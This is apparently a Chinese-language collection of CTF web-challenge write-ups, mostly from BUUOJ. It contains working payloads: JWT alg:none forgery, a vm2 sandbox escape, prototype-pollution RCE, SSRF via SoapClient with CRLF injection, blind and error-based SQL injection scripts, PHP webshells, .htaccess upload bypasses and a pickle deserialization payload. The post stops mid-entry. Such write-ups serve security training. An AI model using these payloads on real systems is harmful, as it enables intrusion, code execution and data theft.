分类 Training 下的文章

P### [HFCTF2020]EasyLogin

先从app.js中找到提示,利用任意文件读取漏洞读取controllers目录中的文件

controllers目录是项目控制器存放目录:接受请求,处理逻辑

发现是jwt伪造,这里把加密方式置为空,payload:

{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "a","iat": 1587632063}.
username=admin&password=a&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYSIsImlhdCI6IDE1ODc2MzIwNjN9.

登录后访问一下flag页面即可。

[HFCTF2020]JustEscape

VM2沙箱逃逸,用现成的POC,
关键字被过滤,可以采用字符串拼接,
引号被过滤,可以用反引号拼。

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。

payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

原理二刷失败,静等找机会三刷(我是fw)
链接在此

[GYCTF2020]Ez_Express

下载源码,有merge和clone函数,经典原型链污染。
先放上p师傅的文章:
深入理解 JavaScript Prototype 污染攻击
Fuzz中的javascript大小写特性
首先要用admin登录,利用toUpperCase函数的特性,

两个奇特的字符"ı"、"ſ"的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

注册username为admın(不是admin),经处理后能以admin登录。
clone操作将body转化为一个对象,可以利用原型链污染res.outputFunctionName,配合ssti执行任意命令。

payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

[HITCON 2017]SSRFme

perl脚本GET open命令漏洞

GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数

最后命令行中执行的结果会被存在data中,
尝试读取根目录,并把结果写在文件abc中,payload:

?url=/&filename=abc

根据ip拼接md5,发现要执行readflag,

?url=file:bash -c /readflag|&filename=123

bestphp\'s revenge

经典PHP的session反序列化SoapClient原生类衔接SSRF和CRLF,还有一个变量覆盖漏洞的利用,细说一下。
+ #### call_user_func的变量覆盖漏洞
这个题过滤了危险函数,所以不能直接利用,但是注意到:

如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
  • #### session反序列化
    漏洞成因是php不同的session处理器因解析格式不同造成的漏洞。
<?php
session_start();
$_SESSION['name'] = 'moon_flower';
?>
当 session.serialize_handler=php 时,session文件内容为: name|s:11:"mochazz";
当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:11:"mochazz";}

由于默认的php是以"|"作为键值的分割符,那个如果我们在php_serialize下恶意构造特定的键值对,再利用php处理器进行解析,那么就会。。。

$_SESSION['name'] ='|username' => a:1:{s:4:"name";s:4:""|username";}

然后经过php_serialize处理后就会被解析为:

$_SESSION['a:1:{s:4:"name";s:4:"'] = 'username';

所以我们只要传入

$_SESSION['name'] = '想反序列化的内容'
  • ##### SSRF+CRLF
    关于SOAP内置类的详细操作可以看这儿
    SoapClient类可以发送http请求,如果发向本地就形成了SSRF,
    但是SOAPClient中不含cookie的操作,而http请求格式是我们可以进行操作的,所以这里又用到了CRLF漏洞
    payload:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
//注:PHPSESSID由自己设置。
  • ##### 开始操作:

    • 第一次传参


      _GET:  name="payload生成的序列化字符串"&f=session_start
      _POST: serialize_handler=php_serialize
      



      更换了session处理器,并将name中的信息存在session中
    • 第二次传参


      _GET:  f=extrace
      _POST: call_user_func 
      



      session中的内容(就是SOAPClient对象)和\'welcome_to_the_lctf2018\'会被合并在一个数组中,
      变量覆盖后我们执行的语句实际上是

      call_user_func(call_user_func,array($_session,'welcome_to_the_lctf2018'));
      



      第二个call_user_func的第一个参数是SoapClient类,按照定义,它会去调用welcome_to_the_lctf2018这个不存在的方法,从而调用__call方法,携带我们自己定义的cookie去访问flag.php并将其内容存在对应的session中。
      最后用我们自己的session访问一下即可。

[FireshellCTF2020]URL TO PDF

WeasyPrint进行url to pdf过程中产生的问题
这个爬虫不会解析js但是能解析link

<link rel=”attachment” href=”file:///flag”>

下载这个就能实现ssrf
然后用pdfdetach处理一下即可:

$ pdfdetach -list flag.pdf
1 embedded files
1: flag
$ pdfdetach -save 1 flag.pdf
$ cat flag

[FireshellCTF2020]ScreenShooter

和上一题类似,但这次是用了PhantomJS的漏洞。
通过XMLHttpRequest触发,其中的open方法可以读取目标系统上的任意文件。

payload:
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <script type="text/javascript">
        var moon;
        moon = new XMLHttpRequest;
        moon.onload = function(){
            document.write(this.responseText)
        };
        moon.open("GET","file:///flag");
        moon.send();
    </script>
</body>
</html>

[SWPU2019]Web6

首先是登录界面,随便输提示sql语句,可见是username和passwd分开验证的,这里如果passwd为空,那就要想办法构造一个NULL,这里用到了with rollup语法。

with rollup 能对查询的数据进行汇总(不是求和),而查询过程中新产生的表的最后一列中的键是NULL。
paload1:
username=1' or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

登录后(据说有提示但我没找到),通过method=File_read和post提交filename可以查看任意文件。
查看se.php,encode.php,index.php,hint.txt,但Service.php无法访问,
观察到请求包里有user,可能是通过encode加密的,可以先用keyaaaaaaaasdfsaf.txt和对应的内容把key给解密出来,然后再用这个key去加密admin传入。然鹅。。。并没有什么卵用,那就只能ssrf打了。
首先构造pop链:

bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag

注意这里的aa类中,因为要通过调用函数的方法调用cc中的__invoke,所以要进到if里面,并要让mod2指向mod1,mod1指向cc。
然后再用SoapClient结合session反序列化进行ssrf获得一个能访问本地的PHPSESSID。
上传文件脚本:

<html>
<body>
    <form action="http://30f3a4b2-55fd-462b-94e1-be7d99acf202.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>
payload2:
|O:10:"SoapClient":5:{s:3:"uri";s:4:"aabb";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:109:"wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}

注意这是的PHPSESSID是我们指定的。、

payload3:
aa=O%3A2%3A%22bb%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22aa%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22cc%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BO%3A2%3A%22ee%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BO%3A2%3A%22dd%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22get_flag%22%3Bs%3A1%3A%22b%22%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A4%3A%22str2%22%3Bs%3A7%3A%22getflag%22%3B%7Ds%3A4%3A%22mod2%22%3BN%3Bs%3A4%3A%22mod3%22%3Bs%3A1%3A%221%22%3B%7Ds%3A4%3A%22mod2%22%3Ba%3A1%3A%7Bs%3A5%3A%22test2%22%3BR%3A3%3B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D

完整的代码:

<?php
function de_crypt($swpu, $key) {
    $swpu = base64_decode($swpu);
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($swpu);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};        
        $h++;
    }
    $content = '';
    for ($i = 0; $i < $length; $i++)
    {
        $content .= chr(ord($swpu{$i}) - (ord($varch{$i})+256)%256);
        #$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return $content;
}

class aa
{
        public $mod1;
        public $mod2;
}
class bb
{
        public $mod1;
        public $mod2;
} 
class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
}
class dd
{
        public $name;
        public $flag;
        public $b;
}
class ee
{
        public $str1;
        public $str2;
}

// $target = 'http://127.0.0.1/interface.php';
// $headers = array(
//     'X-Forwarded-For: 127.0.0.1',
//     'Cookie: user=xZmdm9NxaQ==',
// );

// $b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
// $a = serialize($b);
// $a = str_replace('^^', "\r\n", $a);
// echo $a;

#pop: bb::__destruct -> aa::__call -> cc::__invoke -> ee::__toString -> dd::getflag

$d = new dd();
$e = new ee();
$e->str1 = $d;
$e->str2 = "getflag";
$c = new cc();
$c->mod1 = $e;
$c->mod3 = '1';
$a = new aa();
$a->mod1 = $c;
$a->mod2 = array('test2'=>&$a->mod1);
$b = new bb();
$b->mod1 = $a;

$e->str1->b = 'call_user_func';
$e->str1->flag = 'get_flag';
echo urlencode(serialize($b));

[SWPU2019]Web1

二次注入,注入点id藏得挺好。
过滤了空格,可以用/**/绕过,过滤了注释符可以直接闭合。
过滤了or,查表和列时可以用mysql.innodb_table_stats代替information_schema
payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

然后进行无列名注入:

select b from (select 1,2,3 as b,4,5 union select * from users)a;

末尾的 a 可以是任意字符,用于命名。
最后的payload:

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[CISCN2019 总决赛 Day2 Web1]Easyweb

扫一下找到源码,尝试绕过。
传入\\0,第一个\会被识别为转义符,会转义变成\\0,再被addslashes处理成为\0,最后被替换为空变成\ 转义了后面的id后面的(\')
payload:

?id=\\0&path=or if(length(database())>1,1,-1)%23

上脚本

import time
import requests
import sys
import string
import logging

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="url/image.php?id=\\0'&path=or "
#库名
#dataStr="(database())"
#表名
#dataStr="(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())"
#列名
dataStr="(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273)"
#数据
#dataStr="(select(group_concat(username,password))from(users))"
def binaryTest(i,cu,comparer):
    payloads='ascii(substr({},{},1)){comparer}{}%23'
    s=requests.get(target+payloads.format(dataStr,i,cu,comparer=comparer))
    if 'JFIF' in s.text:
        return True
    else:
        return False

def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)

def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

单引号被ban的时候查表名列名用十六进制绕过。
登进去后要传马,php被ban,这里用phtml,
发现文件名出现在log中,可以直接把马写在文件名里:

filename=<?= @eval($_POST[hack]);?>

蚁剑连一下就ok了。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

先用伪协议读一下源码。
发现address没有经过正则过滤只是处理了单引号,
但可以直接查看,这就形成了二次注入。
可以直接用报错注入带出来flag:

' and updatexml(1,concat(1,(select substr(load_file('/flag.txt'),1,32)),1),1)#

substr分段截取即可。

[网鼎杯 2018]Comment

密码隐藏后三位,可以直接爆破。
存在/.git,但是有残缺需要恢复(这种事不应该扔给misc来搞吗)
先查一下之前的版本:

git log --all

然后

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

把指针指到最初提交的版本,
得到源码。
审计发现存入category数据库时有addslashes()处理,但是直接拿出来的,这就造成了二次注入的可能。
payload:

a',content=(select (load_file('/etc/passwd'))),/*
a',content=(select (load_file('/home/www/.bash_history'))),/*
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

[RCTF2015]EasySQL

有修改密码功能,把username取出来的时候存在二次注入,因为有报错的回显,这里采用报错注入。
payload:

a"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

输出有长度限制,可以先用正则匹配一下我们想看的字段

a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

长度还是不够,就用resever逆序输出一下

a"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

最后拼接即可。

[GYCTF2020]Ezsqli

or被过滤,这里用的sys.schema_table_statistics_with_buffer库来绕过。
参考链接
join被过滤,这里用一种新的无列名注入方式

(select 'admin','admin')>(select * from users limit 1)

其原理是MySQL在比较两个select字符串时是按位比的,所以这里用两个select语句进行比较
用Y1ng师傅的payload:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

[NCTF2019]SQLi

给了SQL语句,单引号被过滤,用\转义第一个单引号,最后的用%00截断。
or也被过滤,知道的列名可以直接用regexp逐字符匹配。
payload:

username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

最后的脚本(来自Arnoldqqq):

import string
import requests
from urllib import parse
passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'
for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

[网鼎杯2018]Unfinish

不知道为什么网上都用的double hex绕过,直接ascii不行吗。。。
记录一下:

'0' + hex(database()) + '0' 会因为16进制强制转化为字符型产生截断
'0' + hex(hex(database())) + '0 ' 确保hex后都是数字,但是字符串长度过长变成科学计数法导致数据丢失
'0' + substr(hex(hex(database())),1,10) + '0' 每次用substr截取10个字符进行相加
'0' + substr(hex(hex(database())) from 1 for 10) + '0' 过滤了逗号用from for绕过

需要爬虫爬一下回显的16进制数字然后恢复,payload来自于zhengna师傅

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

[SWPU2019]Web4

开局登录框,没有源码,大概是要注入了。
注入单引号返回500,但加分号能返回200,可能存在堆叠注入。
关于PDO的预编译:

PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

在模拟预处理情况下可能存在堆叠注入和报错注入,
在非模拟预处理情况下可能存在报错注入。参考文献
题目过滤了select,可以用预编译绕过,思路有两种:

1.参考强网杯的随便注,使用CONCAT实现字符串拼接。
2.本题直接用十六进制绕过了(十六进制yyds)。
payload:
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

爆出来源码的文件名glzjin_wants_a_girl_friend.zip
打开之后是一个MVC,在BaseController中发现变量覆盖漏洞。

    public function loadView($viewName ='', $viewData = [])
    {
        $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
        if(file_exists($this->viewPath))
        {
            extract($viewData);
            include $this->viewPath;
        }
    }

又找到一个viewData可控的位置

/Controller/UserController.php
public function actionIndex()
{
    $listData = $_REQUEST;
    $this->loadView('userIndex',$listData);
}

UserController对应控制的是user中的文件,在/View/userIndex.php中发现文件读取。

payload:
index.php?r=User/Index&img_file=/…/flag.php

[极客大挑战 2019]RCE ME

通过取反urlencode

C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90

发现执行命令的函数都被ban了。
先用传个马用蚁剑连上,

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[hack]))';
$d=urlencode(~$c);
echo $d;
?>

payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%9E%9C%94%A2%D6%D6);

连上之后可以直接通过蚁剑的disable_functions直接绕过
具体的原理放个链接

[SUCTF 2019]EasyWeb

有长度限制的无数字字母写shell,主要参考链接
这里采用异或绕过

<?php
$l = "";
$r = "";
$argv = str_split("_GET");  ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
            if($j<16){  ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
        }
    }}
echo "\{$l`$r\}";  ### 这里的反引号只是用来区分左半边和右半边而已
?>

为突破题中的上传的限制,这里采用的是上传.htaccess,
最后对 ```python
import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节

#first_upload ---- to upload .htaccess

files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)

#second_upload ---- to upload .shell
#
files2={
'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)

<pre><code class="line-numbers">最后对open_dir的绕过可参考[这个](https://www.163.com/dy/article/ECQSCP9E0511CJ6O.html "这个")
**payload:**
```php
/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

[RoarCTF 2019]Simple Upload

tp的文件上传漏洞,非预期解直接用<>绕过了

payload
url = "url/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)

但不知道为什么我没成功。
预期解是利用tp多文件上传+方法的错误使用造成的漏洞

upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。
使用的是uniqid来生成文件名,同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包,遍历爆破txt文件名后三位 0-9 a-f 的文件名,就能猜出php的文件名。

最后的payload(来自penson by 小乌师傅)

import requests
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()

file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)

'''爆破'''

dir ='abcdefghijklmnopqrstuvwxyz0123456789'

for i in dir:
    for j in dir:
        for k in dir:
            for x in dir:
                for y in dir:
                    url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
                    print(url)
                    r = requests.get(url)
                    if r.status_code == 200:
                        print(url)
                        break

然鹅我还是没成功。。。。。。

[HarekazeCTF2019]Avatar Uploader 1

利用不同函数的处理机制不同的绕过。

在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png
在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回一个数组,
Array
(
    [0] => 290
    [1] => 69
    [2] => 3
    [3] => width="290" height="69"
    [bits] => 8
    [mime] => image/png
)

finfo_file会检查第一行十六进制的内容进行判断而getimagesize不会,因此可以把png图片的十六进制格式除第一行以外都删掉就可以绕过。

[SUCTF 2018]GetShell

存在black_list,先fuzz一下(脚本来自末初)

# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests

def ascii_str():
    str_list=[]
    for i in range(33,127):
        str_list.append(chr(i))
    #print('可显示字符:%s'%str_list)
    return str_list

def upload_post(url):
    str_list = ascii_str()
    for str in str_list:
        header = {
        'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding':'gzip, deflate',
        'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
        }
        post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"

提交          
-----------------------------339469688437537919752303518127--'''

        res = requests.post(url,data=post.encode('UTF-8'),headers=header)
        if 'Stored' in res.text:
            print("该字符可以通过:  {0}".format(str))
        else:
            print("过滤字符:  {0}".format(str))



if __name__ == '__main__':
    url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'
    upload_post(url)

能冲的字符有

$、(、)、.、;、=、[、]、_、~

看来是要用汉字写马了,
先把汉字用ascii编码显示,取其中的一个字符进行取反,得到我们想要的字母,

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
payoad:
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

[ISITDTU 2019]EasyPHP

这题是真他娘的恶心!!!参考
取反或异或写马,先看看phpinfo,发现disable_function过滤了一片,open_basedir还开了限制,只能尝试用scandir和print_r的组合了。
预计payload:

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

但是对字符种类的限制绕不过去,还要写别的脚本来删

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

删除后能发现一个可能有flag的文件,读取即可

payload:
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[XNUCA2019Qualifier]EasyPHP

由于文件内容存在过滤,我们不能直接把auto_prepend_file写进.htaccess,
但是我们可以通过.htaccess把error_log中的信息写进fl3g.php,那么把马写进error_log,又因为fl3g.php被包含,就成功把马写进了初始页面。
这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
最后的脏字符可以用#注释

payload:
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#

这里还有个问题,就是error_log中的数据是经过htmlentities处理的,无法直接用<\?,
这样的话我们可以用UTF-7编码来绕过

php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#

[CISCN2019 华东南赛区]Web11

先写个脚本找一下v6

import requests
url="url/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
       print (i)
       break

抓一下包,发现是JWT认证
用c-jwt-cracker暴力破解密钥
获得源码,发现python反序列化,没有过滤直接跑

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

[HFCTF2020]BabyUpload

开局送源码,如果我们要得到flag要满足两个条件

